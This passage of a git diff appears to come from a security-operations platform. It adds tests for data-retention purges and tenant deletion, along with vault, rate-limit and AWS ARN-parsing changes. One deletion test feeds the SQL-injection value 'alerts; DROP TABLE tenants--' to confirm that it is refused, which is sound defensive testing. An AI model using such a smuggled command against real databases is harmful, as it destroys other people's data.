+ assert db.deletes(), "no DELETE was issued against alerts"
+
+ async def test_dry_run_counts_but_deletes_nothing(self, lake_calls: list[Any]) -> None:
+ db = FakeSession([_policy(TENANT_A)], {str(TENANT_A): 4})
+ run = await run_once(db=db, dry_run=True)
+
+ assert run.dry_run
+ assert (run.lake_rows, run.alert_rows) == (7, 4), "a dry run must still report the blast radius"
+ assert not any("DELETE" in sql.upper() for sql, _ in lake_calls)
+ assert db.deletes() == []
+ assert not db.committed
+
+ async def test_nothing_to_delete_skips_the_mutation(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ async def zero(sql: str, **kwargs: Any) -> FakeResult:
+ return FakeResult([(0,)]) if "count()" in sql else FakeResult([])
+
+ monkeypatch.setattr(retention_purge, "execute_lake_query", zero)
+ db = FakeSession([_policy(TENANT_A)], {str(TENANT_A): 0})
+ run = await run_once(db=db, dry_run=False)
+ assert (run.lake_rows, run.alert_rows) == (0, 0)
+ assert db.deletes() == []
+
+
+class TestTenantScoping:
+ async def test_every_lake_statement_names_one_tenant(self, lake_calls: list[Any]) -> None:
+ db = FakeSession([_policy(TENANT_A), _policy(TENANT_B)], {})
+ await run_once(db=db, dry_run=False)
+
+ assert lake_calls
+ for sql, _ in lake_calls:
+ assert "tenant_id = '" in sql, sql
+ assert str(TENANT_A) in sql or str(TENANT_B) in sql, sql
+
+ async def test_alert_delete_binds_the_tenant(self, lake_calls: list[Any]) -> None:
+ """The bug this guards: build_alert_purge_sql leans on RLS for scoping.
+
+ The worker disables row security so it can enumerate tenants, so an
+ unbound predicate would delete every tenant's aged alerts under the
+ first tenant's window.
+ """
+ db = FakeSession([_policy(TENANT_A, alerts=10)], {str(TENANT_A): 3})
+ await run_once(db=db, dry_run=False)
+
+ deletes = db.deletes()
+ assert len(deletes) == 1
+ sql, params = deletes[0]
+ assert "tenant_id = :tenant_id" in sql
+ assert params["tenant_id"] == str(TENANT_A)
+ assert params["days"] == 10
+
+ async def test_per_tenant_windows_are_not_shared(self, lake_calls: list[Any]) -> None:
+ db = FakeSession([_policy(TENANT_A, raw=7), _policy(TENANT_B, raw=400)], {})
+ await run_once(db=db, dry_run=False)
+
+ for_a = [s for s, _ in lake_calls if str(TENANT_A) in s]
+ for_b = [s for s, _ in lake_calls if str(TENANT_B) in s]
+ assert all("INTERVAL 7 DAY" in s for s in for_a), for_a
+ assert all("INTERVAL 400 DAY" in s for s in for_b), for_b
+
+ async def test_tenants_without_a_policy_are_untouched(self, lake_calls: list[Any]) -> None:
+ """Defaults pre-fill a form; they are not an instruction to delete."""
+ db = FakeSession([], {})
+ run = await run_once(db=db, dry_run=False)
+ assert run.tenants == []
+ assert lake_calls == []
+ assert db.deletes() == []
+
+
+class TestCountSqlMirrorsDeleteSql:
+ """A dry run is only a preview if it selects exactly what the delete removes."""
+
+ def test_lake_predicates_match(self) -> None:
+ count = build_lake_count_sql(TENANT_A, 45)
+ delete = build_lake_purge_sql(TENANT_A, 45)
+ assert count.split("WHERE", 1)[1] == delete.split("WHERE", 1)[1]
+
+ def test_alert_predicates_match(self) -> None:
+ count_sql, count_params = build_alert_count_sql(45)
+ delete_sql, delete_params = build_alert_purge_sql(45)
+ assert count_sql.split("WHERE", 1)[1] == delete_sql.split("WHERE", 1)[1]
+ assert count_params == delete_params
+
+ def test_clamping_applies_to_the_count_path_too(self) -> None:
+ assert "INTERVAL 1 DAY" in build_lake_count_sql(TENANT_A, 0)
+ assert "INTERVAL 3650 DAY" in build_lake_count_sql(TENANT_A, 999_999)
+ assert build_alert_count_sql(0)[1]["days"] == 1
+
+
+class TestResilience:
+ async def test_lake_failure_does_not_stop_the_alert_purge(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ async def boom(sql: str, **kwargs: Any) -> FakeResult:
+ raise RuntimeError("clickhouse unreachable")
+
+ monkeypatch.setattr(retention_purge, "execute_lake_query", boom)
+ db = FakeSession([_policy(TENANT_A)], {str(TENANT_A): 5})
+ run = await run_once(db=db, dry_run=False)
+
+ assert run.alert_rows == 5
+ assert db.deletes()
+ assert run.errors == ["lake: RuntimeError"]
+
+ async def test_a_failure_is_not_reported_as_nothing_to_delete(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """An unreachable store must be distinguishable from an empty one."""
+
+ async def boom(sql: str, **kwargs: Any) -> FakeResult:
+ raise RuntimeError("clickhouse unreachable")
+
+ monkeypatch.setattr(retention_purge, "execute_lake_query", boom)
+ db = FakeSession([_policy(TENANT_A)], {str(TENANT_A): 0})
+ run = await run_once(db=db, dry_run=False)
+ assert run.lake_rows == 0
+ assert run.errors, "a failed purge reported zero rows and no error"
+
+ async def test_one_tenant_failing_does_not_skip_the_next(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ async def selective(sql: str, **kwargs: Any) -> FakeResult:
+ if str(TENANT_A) in sql:
+ raise RuntimeError("shard down")
+ return FakeResult([(2,)]) if "count()" in sql else FakeResult([])
+
+ monkeypatch.setattr(retention_purge, "execute_lake_query", selective)
+ db = FakeSession([_policy(TENANT_A), _policy(TENANT_B)], {})
+ run = await run_once(db=db, dry_run=False)
+
+ assert len(run.tenants) == 2
+ assert run.tenants[0].errors and not run.tenants[1].errors
+ assert run.tenants[1].lake_rows == 2
+
+
+async def test_row_security_is_disabled_before_enumerating_tenants(
+ lake_calls: list[Any],
+) -> None:
+ """Without this the worker reads zero policies and purges nothing, quietly."""
+ db = FakeSession([_policy(TENANT_A)], {})
+ await run_once(db=db, dry_run=True)
+ assert "SET LOCAL row_security = off" in db.statements[0][0]
+
+
+async def test_audit_is_not_purged(lake_calls: list[Any]) -> None:
+ """audit_days is storable but unenforceable: the log is a hash chain.
+
+ Deleting rows would break the chain and make every later verification
+ fail, so the worker must leave it alone rather than error every tick.
+ """
+ db = FakeSession([_policy(TENANT_A)], {})
+ await run_once(db=db, dry_run=False)
+ assert not any("audit" in sql.lower() for sql, _ in db.deletes())
+ assert not any("audit" in sql.lower() for sql, _ in lake_calls)
diff --git a/services/api/tests/test_tenant_deletion.py b/services/api/tests/test_tenant_deletion.py
new file mode 100644
index 000000000..b2bcb32f9
--- /dev/null
+++ b/services/api/tests/test_tenant_deletion.py
@@ -0,0 +1,240 @@
+"""Tenant offboarding must erase everywhere, or say plainly that it did not.
+
+There was no deletion path at all. ``DELETE FROM tenants`` leans on foreign-key
+cascade, and 14 of the 72 tenant-scoped tables never declared one — so an
+offboarded customer's institutional memory, compliance evidence and KB
+documents outlived the tenant record. The lake, graph and vector stores had no
+deletion path whatsoever.
+
+The tests that matter here are not "does it issue a DELETE". They are:
+discovery cannot go stale as tables are added; a partial erase is never
+reported as complete; and reference data shared across tenants survives.
+"""
+
+from __future__ import annotations
+
+import uuid
+from typing import Any
+from unittest.mock import AsyncMock
+
+import pytest
+from app.services import tenant_deletion
+from app.services.tenant_deletion import DeletionReport, StoreResult, delete_tenant
+
+TENANT = uuid.UUID("33333333-3333-3333-3333-333333333333")
+
+DISCOVERED = ["aisoc_institutional_memory", "alerts", "cases", "tenants"]
+
+
+class FakeScalar:
+ def __init__(self, value: Any) -> None:
+ self._value = value
+
+ def scalar_one(self) -> Any:
+ return self._value
+
+ def fetchall(self) -> Any:
+ return self._value
+
+
+class FakeSession:
+ def __init__(self, counts: dict[str, int] | None = None) -> None:
+ self.counts = counts if counts is not None else dict.fromkeys(DISCOVERED, 2)
+ self.statements: list[str] = []
+ self.committed = False
+ self.rolled_back = False
+
+ async def execute(self, stmt: Any, params: dict[str, Any] | None = None) -> Any:
+ sql = " ".join(str(stmt).split())
+ self.statements.append(sql)
+ if "information_schema" in sql:
+ return FakeScalar([(t,) for t in DISCOVERED])
+ if sql.upper().startswith("SELECT COUNT(*) FROM TENANTS WHERE ID"):
+ return FakeScalar(self.counts.get("tenants", 0))
+ if sql.upper().startswith("SELECT COUNT(*)"):
+ table = sql.split(" FROM ")[1].split()[0]
+ return FakeScalar(self.counts.get(table, 0))
+ return FakeScalar(None)
+
+ async def commit(self) -> None:
+ self.committed = True
+
+ async def rollback(self) -> None:
+ self.rolled_back = True
+
+ def deletes(self) -> list[str]:
+ return [s for s in self.statements if s.upper().startswith("DELETE")]
+
+
+def stub_stores(monkeypatch: pytest.MonkeyPatch) -> dict[str, AsyncMock]:
+ """Satellite stores succeed with a fixed row count unless a test says otherwise."""
+ stubs: dict[str, AsyncMock] = {}
+ for name, store in [
+ ("purge_lake", "clickhouse"),
+ ("purge_graph", "neo4j"),
+ ("purge_vectors", "qdrant"),
+ ("purge_cache", "redis"),
+ ]:
+ mock = AsyncMock(return_value=StoreResult(store=store, rows=3))
+ monkeypatch.setattr(tenant_deletion, name, mock)
+ stubs[name] = mock
+ return stubs
+
+
+class TestDiscovery:
+ async def test_tables_come_from_information_schema(self) -> None:
+ """A hardcoded list is right the day it is written and wrong at the
+ next migration, and the failure is silent."""
+ db = FakeSession()
+ tables = await tenant_deletion.discover_tenant_tables(db)
+ assert tables == DISCOVERED
+ assert any("information_schema" in s for s in db.statements)
+
+ async def test_a_table_with_no_cascade_is_still_deleted(self, stub_stores: Any) -> None:
+ """aisoc_institutional_memory has no FK cascade — the exact orphan case."""
+ db = FakeSession()
+ await delete_tenant(db, TENANT, dry_run=False)
+ assert any("DELETE FROM aisoc_institutional_memory" in s for s in db.deletes())
+
+ async def test_unexpected_identifiers_are_refused(self, monkeypatch: pytest.MonkeyPatch, stub_stores: Any) -> None:
+ """Table names are interpolated, so they must come only from the catalogue."""
+
+ async def evil(db: Any) -> list[str]:
+ return ["alerts; DROP TABLE tenants--"]
+
+ monkeypatch.setattr(tenant_deletion, "discover_tenant_tables", evil)
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT, dry_run=False)
+ pg = next(s for s in report.stores if s.store == "postgres")
+ assert not pg.ok
+ assert "refusing to touch" in (pg.error or "")
+ assert db.deletes() == []
+
+
+class TestOrdering:
+ async def test_tenants_row_is_deleted_last(self, stub_stores: Any) -> None:
+ """Deleting it first would cascade tables out from under the count."""
+ db = FakeSession()
+ await delete_tenant(db, TENANT, dry_run=False)
+ deletes = db.deletes()
+ assert deletes[-1].upper().startswith("DELETE FROM TENANTS")
+
+ async def test_postgres_runs_after_the_satellite_stores(self, stub_stores: Any) -> None:
+ """Otherwise a later failure orphans data with no record naming its owner."""
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT, dry_run=False)
+ assert [s.store for s in report.stores][-1] == "postgres"
+
+
+class TestPartialFailure:
+ async def test_a_failed_store_makes_the_report_incomplete(self, monkeypatch: pytest.MonkeyPatch, stub_stores: Any) -> None:
+ monkeypatch.setattr(
+ tenant_deletion,
+ "purge_graph",
+ AsyncMock(return_value=StoreResult(store="neo4j", error="ServiceUnavailable")),
+ )
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT, dry_run=False)
+ assert not report.complete
+
+ async def test_postgres_rolls_back_when_another_store_failed(self, monkeypatch: pytest.MonkeyPatch, stub_stores: Any) -> None:
+ """Keep the tenant record that names the data still sitting in Neo4j."""
+ monkeypatch.setattr(
+ tenant_deletion,
+ "purge_graph",
+ AsyncMock(return_value=StoreResult(store="neo4j", error="ServiceUnavailable")),
+ )
+ db = FakeSession()
+ await delete_tenant(db, TENANT, dry_run=False)
+ assert db.rolled_back and not db.committed
+
+ async def test_a_skipped_store_does_not_block_completion(self, monkeypatch: pytest.MonkeyPatch, stub_stores: Any) -> None:
+ """Qdrant absent from a deployment is not a failed erase."""
+ monkeypatch.setattr(
+ tenant_deletion,
+ "purge_vectors",
+ AsyncMock(return_value=StoreResult(store="qdrant", skipped="QDRANT_URL is not configured")),
+ )
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT, dry_run=False)
+ assert report.complete and db.committed
+
+
+class TestDryRun:
+ async def test_dry_run_counts_without_deleting(self, stub_stores: Any) -> None:
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT, dry_run=True)
+ assert report.dry_run
+ assert report.total_rows > 0, "a preview that reports nothing is not a preview"
+ assert db.deletes() == []
+ assert not db.committed
+
+ async def test_dry_run_is_the_default(self, stub_stores: Any) -> None:
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT)
+ assert report.dry_run and db.deletes() == []
+
+ async def test_dry_run_names_the_tables_it_would_hit(self, stub_stores: Any) -> None:
+ db = FakeSession()
+ report = await delete_tenant(db, TENANT, dry_run=True)
+ pg = next(s for s in report.stores if s.store == "postgres")
+ assert "aisoc_institutional_memory" in pg.detail
+ assert pg.detail["aisoc_institutional_memory"] == 2
+
+ async def test_empty_tables_are_not_listed(self, stub_stores: Any) -> None:
+ db = FakeSession(counts={"alerts": 5})
+ report = await delete_tenant(db, TENANT, dry_run=True)
+ pg = next(s for s in report.stores if s.store == "postgres")
+ assert pg.detail == {"alerts": 5}
+ assert pg.rows == 5
+
+
+class TestGraphScope:
+ async def test_global_reference_labels_are_excluded(self) -> None:
+ """MITRE technique nodes are shared; offboarding must not remove them."""
+ captured: list[str] = []
+
+ class FakeRecord(dict):
+ pass
+
+ class FakeResult:
+ async def single(self) -> Any:
+ return FakeRecord(c=0)
+
+ class FakeNeoSession:
+ async def run(self, query: str, **kwargs: Any) -> FakeResult:
+ captured.append(query)
+ return FakeResult()
+
+ async def __aenter__(self) -> FakeNeoSession:
+ return self
+
+ async def __aexit__(self, *args: Any) -> None:
+ return None
+
+ def session_factory() -> FakeNeoSession:
+ return FakeNeoSession()
+
+ original = tenant_deletion.neo4j_session
+ tenant_deletion.neo4j_session = session_factory
+ try:
+ await tenant_deletion.purge_graph(TENANT, dry_run=True)
+ finally:
+ tenant_deletion.neo4j_session = original
+
+ assert captured
+ assert "NOT n:Technique" in captured[0]
+ assert "n.tenant_id = $t" in captured[0]
+
+
+def test_report_serialises_every_store() -> None:
+ report = DeletionReport(tenant_id=TENANT, dry_run=False)
+ report.stores = [
+ StoreResult(store="postgres", rows=10, detail={"alerts": 10}),
+ StoreResult(store="neo4j", error="boom"),
+ ]
+ payload = report.as_dict()
+ assert payload["complete"] is False
+ assert payload["total_rows"] == 10
+ assert {s["store"] for s in payload["stores"]} == {"postgres", "neo4j"}
diff --git a/services/connectors/app/connectors/base.py b/services/connectors/app/connectors/base.py
index 5aa82ece4..16fda47e0 100644
--- a/services/connectors/app/connectors/base.py
+++ b/services/connectors/app/connectors/base.py
@@ -96,6 +96,15 @@ class Capability(str, Enum):
QUARANTINE_FILE = "quarantine_file"
BLOCK_HASH = "block_hash"
BLOCK_DOMAIN = "block_domain"
+ # Reverse verbs. Every containment action whose contract declares a
+ # platform rollback needs its reverse in the vocabulary, otherwise the
+ # rollback path resolves to nothing while believing it has a route back.
+ # See services/actions/app/live_actions/capability_contracts.py.
+ RESTORE_FILE = "restore_file"
+ ALLOW_HASH = "allow_hash"
+ ALLOW_DOMAIN = "allow_domain"
+ ALLOW_IOC = "allow_ioc"
+ ENABLE_USER = "enable_user"
BLOCK_USER_SIGNIN = "block_user_signin"
DISABLE_USER = "disable_user"
REVOKE_SESSION = "revoke_session"
@@ -171,8 +180,13 @@ CAPABILITY_GROUPS: tuple[tuple[str, tuple[Capability, ...]], ...] = (
Capability.UNISOLATE_HOST,
Capability.KILL_PROCESS,
Capability.QUARANTINE_FILE,
+ Capability.RESTORE_FILE,
Capability.BLOCK_HASH,
+ Capability.ALLOW_HASH,
Capability.BLOCK_DOMAIN,
+ Capability.ALLOW_DOMAIN,
+ Capability.ALLOW_IOC,
+ Capability.ENABLE_USER,
),
),
(
diff --git a/services/connectors/app/security/credential_vault.py b/services/connectors/app/security/credential_vault.py
index 6d3f1ed98..e381260ff 100644
--- a/services/connectors/app/security/credential_vault.py
+++ b/services/connectors/app/security/credential_vault.py
@@ -40,6 +40,11 @@ logger = logging.getLogger("aisoc.connectors.credential_vault")
# plaintext on the decrypt path. Must match the API service's prefix byte-for-byte.
_CIPHER_PREFIX: Final[str] = "vault:v1:"
+# Envelope tokens are written only by services/api, which owns the key
+# manager. This read-path copy recognises them so it can refuse them
+# rather than pass the ciphertext through as plaintext.
+_ENVELOPE_PREFIX = "vault:v2:"
+
class CredentialVaultError(RuntimeError):
"""Raised when the vault cannot encrypt/decrypt safely."""
@@ -85,6 +90,19 @@ class CredentialVault:
def decrypt(self, value: str) -> str:
if not isinstance(value, str):
raise CredentialVaultError(f"vault.decrypt expects str, got {type(value).__name__}")
+ # A vault:v2 envelope token cannot be read here: this is a vendored
+ # read-path copy and only services/api holds the envelope key
+ # manager. Falling through the plaintext branch below would hand the
+ # ciphertext to a vendor API as if it were the credential, producing
+ # an auth failure that looks like a customer configuration problem.
+ # Fail closed and say which service can read it.
+ if value.startswith(_ENVELOPE_PREFIX):
+ raise CredentialVaultError(
+ "this credential is envelope-encrypted (vault:v2) and cannot be "
+ "decrypted by this service; only services/api holds the key "
+ "manager. Either disable AISOC_CREDENTIAL_ENVELOPE or route the "
+ "read through the API."
+ )
if not value.startswith(_CIPHER_PREFIX):
return value
token = value[len(_CIPHER_PREFIX) :].encode("ascii")
diff --git a/services/demo-producer/Dockerfile b/services/demo-producer/Dockerfile
index c6c449c54..aa292b6ea 100644
--- a/services/demo-producer/Dockerfile
+++ b/services/demo-producer/Dockerfile
@@ -1,6 +1,6 @@
# AiSOC Demo Event Producer
# Multi-stage Go build → tiny distroless runtime image.
-FROM golang:1.21-alpine AS builder
+FROM golang:1.26-alpine AS builder
WORKDIR /src
COPY go.mod ./
RUN go mod download
diff --git a/services/demo-producer/go.mod b/services/demo-producer/go.mod
index b0b916ed8..318f37c74 100644
--- a/services/demo-producer/go.mod
+++ b/services/demo-producer/go.mod
@@ -1,3 +1,3 @@
module github.com/beenuar/aisoc/services/demo-producer
-go 1.21
+go 1.26
diff --git a/services/enrichment/Dockerfile b/services/enrichment/Dockerfile
index a68f94671..572731026 100644
--- a/services/enrichment/Dockerfile
+++ b/services/enrichment/Dockerfile
@@ -1,4 +1,4 @@
-FROM golang:1.24-alpine AS builder
+FROM golang:1.26-alpine AS builder
WORKDIR /app
RUN apk add --no-cache git ca-certificates
diff --git a/services/enrichment/go.mod b/services/enrichment/go.mod
index 918690b33..2c0bc22dc 100644
--- a/services/enrichment/go.mod
+++ b/services/enrichment/go.mod
@@ -1,6 +1,6 @@
module github.com/beenuar/aisoc/enrichment
-go 1.24
+go 1.26
require (
github.com/go-chi/chi/v5 v5.3.2
diff --git a/services/ingest/Dockerfile b/services/ingest/Dockerfile
index 421e7ff0d..52c3887bf 100644
--- a/services/ingest/Dockerfile
+++ b/services/ingest/Dockerfile
@@ -1,4 +1,4 @@
-FROM golang:1.25-alpine AS builder
+FROM golang:1.26-alpine AS builder
WORKDIR /app
RUN apk add --no-cache git ca-certificates gcc musl-dev
diff --git a/services/ingest/go.mod b/services/ingest/go.mod
index 210400fb4..c063c9a1a 100644
--- a/services/ingest/go.mod
+++ b/services/ingest/go.mod
@@ -1,6 +1,6 @@
module github.com/beenuar/aisoc/services/ingest
-go 1.25.0
+go 1.26
require (
github.com/go-chi/chi/v5 v5.3.2
diff --git a/services/ingest/internal/config/config.go b/services/ingest/internal/config/config.go
index 77203dbdd..9c499880f 100644
--- a/services/ingest/internal/config/config.go
+++ b/services/ingest/internal/config/config.go
@@ -44,6 +44,21 @@ type Config struct {
// bigger gets a 413; vendors that page through alerts should batch
// at the source rather than push 50MB at once.
InboxMaxBodyBytes int64
+ // Per-tenant rate limits on the inbox. /v1/inbox/* is the one route
+ // deliberately open to the internet, authenticated only by a bearer
+ // token that lives in a vendor's webhook config, and it previously had
+ // no ceiling at all — one noisy or compromised integration could fill
+ // Kafka and the lake for every tenant sharing the spine.
+ //
+ // Two dimensions: requests bound parse and connection cost, events
+ // bound what actually reaches Kafka (one request can carry thousands).
+ // Zero disables that dimension. Limits are per replica, so the
+ // effective ceiling is rate x replicas; set accordingly or terminate
+ // at the edge if an exact global cap is required.
+ InboxRateRequestsPerSecond float64
+ InboxRateRequestBurst float64
+ InboxRateEventsPerSecond float64
+ InboxRateEventBurst float64
// Kubernetes audit webhook (Track D, v7.1.0).
//
@@ -162,6 +177,14 @@ func Load() (*Config, error) {
InboxEnabled: getEnv("INBOX_ENABLED", "true") == "true",
InboxTemplatesDir: getEnv("INBOX_TEMPLATES_DIR", "/app/templates"),
InboxMaxBodyBytes: int64(mustGetEnvInt("INBOX_MAX_BODY_BYTES", 10*1024*1024)),
+ // Defaults sized to be invisible to a well-behaved vendor and
+ // firmly bounding to a runaway one: 50 req/s sustained with a
+ // 200 burst, and 5k events/s with a 20k burst (one large batch
+ // passes; a sustained flood does not).
+ InboxRateRequestsPerSecond: float64(mustGetEnvInt("INBOX_RATE_REQUESTS_PER_SECOND", 50)),
+ InboxRateRequestBurst: float64(mustGetEnvInt("INBOX_RATE_REQUEST_BURST", 200)),
+ InboxRateEventsPerSecond: float64(mustGetEnvInt("INBOX_RATE_EVENTS_PER_SECOND", 5000)),
+ InboxRateEventBurst: float64(mustGetEnvInt("INBOX_RATE_EVENT_BURST", 20000)),
// Kubernetes audit webhook (Track D, v7.1.0).
K8sAuditSharedSecret: getEnv("K8S_AUDIT_SHARED_SECRET", ""),
diff --git a/services/ingest/internal/graph/extractor.go b/services/ingest/internal/graph/extractor.go
index 97b7ef0b2..607feec4a 100644
--- a/services/ingest/internal/graph/extractor.go
+++ b/services/ingest/internal/graph/extractor.go
@@ -1,6 +1,6 @@
// extractor.go — pull entity references out of normalised OCSF events.
//
-// Each connector type gets its own ``extractFromX`` helper so we can fill
+// Each connector type gets its own “extractFromX“ helper so we can fill
// connectors in incrementally as the v8.0 program rolls out. v1.0 ships
// real coverage for the four most-used connectors:
//
@@ -27,8 +27,8 @@ import (
)
// ExtractFromOCSF walks a normalised OCSF event and produces the graph
-// projection. ``connectorType`` is the same string the normaliser keys on
-// (e.g. ``aws_security_hub``); ``ocsf`` is the ``NormalizedEvent.OcsfEvent``
+// projection. “connectorType“ is the same string the normaliser keys on
+// (e.g. “aws_security_hub“); “ocsf“ is the “NormalizedEvent.OcsfEvent“
// map.
//
// Returns nil if the event has no extractable entities — caller should treat
@@ -141,6 +141,35 @@ func extractGeneric(ev *Event, ocsf map[string]interface{}) {
// - Resource (Resources[].Id, ARN) → :Resource
// - Alert (finding) → :Alert
// - Edges: User -[:OWNS]-> Resource, Alert -[:OCCURRED_ON]-> Resource
+//
+// awsAccountFromARN pulls the 12-digit account id out of an ARN.
+//
+// Format: arn:partition:service:region:account-id:resource. Some ARNs
+// legitimately carry an empty account field (S3 buckets, for one), so an
+// empty return is a normal outcome rather than a parse failure.
+func awsAccountFromARN(arn string) string {
+ if !strings.HasPrefix(arn, "arn:") {
+ return ""
+ }
+ parts := strings.SplitN(arn, ":", 6)
+ if len(parts) < 6 {
+ return ""
+ }
+ account := parts[4]
+ // Guard against a resource id landing here on a malformed ARN: an AWS
+ // account id is exactly twelve digits, and writing anything else would
+ // create a CloudAccount node per resource.
+ if len(account) != 12 {
+ return ""
+ }
+ for _, c := range account {
+ if c < '0' || c > '9' {
+ return ""
+ }
+ }
+ return account
+}
+
func extractFromAWS(ev *Event, ocsf map[string]interface{}) {
resources, _ := ocsf["Resources"].([]interface{})
if len(resources) == 0 {
@@ -192,6 +221,27 @@ func extractFromAWS(ev *Event, ocsf map[string]interface{}) {
ToLabel: NodeResource, ToKey: key,
})
}
+
+ // The account id is already in the ARN, so the cloud dimension costs
+ // nothing to populate here — and without it a compromised workload
+ // resolves to a resource id rather than to a blast radius.
+ if accountID := awsAccountFromARN(arn); accountID != "" {
+ accountKey := fmt.Sprintf("cloudaccount:%s:aws:%s", ev.TenantID, accountID)
+ ev.Nodes = append(ev.Nodes, Node{
+ Label: NodeCloudAccount,
+ NaturalKey: accountKey,
+ TenantID: ev.TenantID,
+ Properties: map[string]interface{}{
+ "provider": "aws",
+ "account_id": accountID,
+ },
+ })
+ ev.Edges = append(ev.Edges, Edge{
+ Type: RelInAccount,
+ FromLabel: NodeResource, FromKey: key,
+ ToLabel: NodeCloudAccount, ToKey: accountKey,
+ })
+ }
// Alert -> Resource edge
alertID := getString(ocsf, "event_id")
if alertID != "" {
@@ -221,7 +271,7 @@ func extractFromAWS(ev *Event, ocsf map[string]interface{}) {
// - User from actor → :User
// - Repo from repo (org/name) → :Repo
// - Edge: User -[:READS_FROM]-> Repo for read actions
-// User -[:WRITES_TO]-> Repo for write actions
+// User -[:WRITES_TO]-> Repo for write actions
//
// We can fill in :ServiceAccount for app/bot actors in T1.2.
func extractFromGitHub(ev *Event, ocsf map[string]interface{}) {
@@ -282,7 +332,7 @@ func extractFromGitHub(ev *Event, ocsf map[string]interface{}) {
// - User from actor.alternateId / displayName → :User
// - Endpoint from src_endpoint.ip → :Endpoint (NetworkPath)
// - Edge: Identity -[:ASSUMED_BY]-> User
-// User -[:ACCESSES]-> SaaSApp (when target is an app)
+// User -[:ACCESSES]-> SaaSApp (when target is an app)
func extractFromOkta(ev *Event, ocsf map[string]interface{}) {
identityID := getString(ocsf, "actor.id")
if identityID == "" {
@@ -427,7 +477,7 @@ func extractFromKubernetes(ev *Event, ocsf map[string]interface{}) {
}
// extractMITRE adds a Detection node and Triggered edge per ATT&CK technique
-// the normaliser already attached to ``mitre_attck``. Universal across
+// the normaliser already attached to “mitre_attck“. Universal across
// connectors so every event with a technique gets the link.
func extractMITRE(ev *Event, ocsf map[string]interface{}) {
techs, ok := ocsf["mitre_attck"].([]interface{})
diff --git a/services/ingest/internal/graph/extractor_test.go b/services/ingest/internal/graph/extractor_test.go
index 246c5bf26..c6eef78bc 100644
--- a/services/ingest/internal/graph/extractor_test.go
+++ b/services/ingest/internal/graph/extractor_test.go
@@ -7,10 +7,10 @@ import (
func TestExtractFromOCSF_AWS(t *testing.T) {
ocsf := map[string]interface{}{
- "time": "2026-05-13T10:00:00Z",
- "event_id": "alert-123",
- "message": "S3 bucket public",
- "severity": "HIGH",
+ "time": "2026-05-13T10:00:00Z",
+ "event_id": "alert-123",
+ "message": "S3 bucket public",
+ "severity": "HIGH",
"actor": map[string]interface{}{
"user": map[string]interface{}{"name": "alice"},
},
@@ -291,3 +291,80 @@ func TestExtractFromOCSF_TimeFallback(t *testing.T) {
t.Errorf("fallback TS too old: %v", ev.TS)
}
}
+
+// The cloud dimension: a workload's blast radius starts with which account
+// it lives in, and the account id is already in every ARN.
+func TestAWSAccountFromARN(t *testing.T) {
+ cases := []struct {
+ name string
+ arn string
+ want string
+ }{
+ {"standard", "arn:aws:ec2:us-east-1:123456789012:instance/i-abc", "123456789012"},
+ {"iam has no region", "arn:aws:iam::123456789012:role/admin", "123456789012"},
+ {"govcloud partition", "arn:aws-us-gov:s3:us-gov-west-1:123456789012:bucket", "123456789012"},
+ // S3 bucket ARNs legitimately omit the account. Empty is a normal
+ // outcome, not a parse failure.
+ {"s3 bucket omits account", "arn:aws:s3:::my-bucket", ""},
+ {"not an arn", "i-0123456789abcdef", ""},
+ {"truncated", "arn:aws:ec2:us-east-1", ""},
+ {"empty", "", ""},
+ // An account id is exactly twelve digits. Without that guard a
+ // malformed ARN creates a CloudAccount node per resource.
+ {"too short", "arn:aws:ec2:us-east-1:12345:instance/i-abc", ""},
+ {"too long", "arn:aws:ec2:us-east-1:1234567890123:instance/i-abc", ""},
+ {"non-numeric", "arn:aws:ec2:us-east-1:notanaccount:instance/i-abc", ""},
+ }
+ for _, c := range cases {
+ t.Run(c.name, func(t *testing.T) {
+ if got := awsAccountFromARN(c.arn); got != c.want {
+ t.Errorf("awsAccountFromARN(%q) = %q, want %q", c.arn, got, c.want)
+ }
+ })
+ }
+}
+
+func TestAWSExtractionEmitsCloudAccount(t *testing.T) {
+ ocsf := map[string]interface{}{
+ "time": "2026-09-22T12:00:00Z",
+ "event_id": "finding-1",
+ "actor": map[string]interface{}{"user": map[string]interface{}{"name": "deploy-bot"}},
+ "Resources": []interface{}{
+ map[string]interface{}{
+ "Id": "arn:aws:ec2:us-east-1:123456789012:instance/i-abc",
+ "Type": "AwsEc2Instance",
+ "Region": "us-east-1",
+ },
+ },
+ }
+ ev := ExtractFromOCSF("evt-1", "tenant-a", "aws_security_hub", ocsf)
+ if ev == nil {
+ t.Fatal("extraction produced no event")
+ }
+
+ var account *Node
+ for i := range ev.Nodes {
+ if ev.Nodes[i].Label == NodeCloudAccount {
+ account = &ev.Nodes[i]
+ }
+ }
+ if account == nil {
+ t.Fatal("no CloudAccount node emitted; the cloud dimension stays empty")
+ }
+ if account.Properties["account_id"] != "123456789012" {
+ t.Errorf("account_id = %v", account.Properties["account_id"])
+ }
+ if account.TenantID != "tenant-a" {
+ t.Errorf("CloudAccount is not tenant-scoped: %q", account.TenantID)
+ }
+
+ var linked bool
+ for _, e := range ev.Edges {
+ if e.Type == RelInAccount && e.FromLabel == NodeResource && e.ToLabel == NodeCloudAccount {
+ linked = true
+ }
+ }
+ if !linked {
+ t.Error("no Resource -[:IN_ACCOUNT]-> CloudAccount edge; the node is unreachable from the resource")
+ }
+}
diff --git a/services/ingest/internal/graph/schema.go b/services/ingest/internal/graph/schema.go
index 3057ebc75..710caf6bf 100644
--- a/services/ingest/internal/graph/schema.go
+++ b/services/ingest/internal/graph/schema.go
@@ -11,7 +11,7 @@
// - T6.1 — hosted SaaS managed waitlist
//
// This file owns the *versioned* schema vocabulary so connectors and UI can
-// pin against a stable contract. Bumping ``SchemaVersion`` is a breaking
+// pin against a stable contract. Bumping “SchemaVersion“ is a breaking
// signal: it means the graph writer is producing a new shape and downstream
// consumers must opt in.
package graph
@@ -22,8 +22,26 @@ package graph
// on `schema_version = "v1.0"`.
//
// IMPORTANT: bump this any time the canonical node/edge enums below change.
-// Keep the format ``vMAJOR.MINOR``.
-const SchemaVersion = "v1.0"
+// Keep the format “vMAJOR.MINOR“.
+//
+// v1.1 (context depth) is strictly additive. It adds the four dimensions an
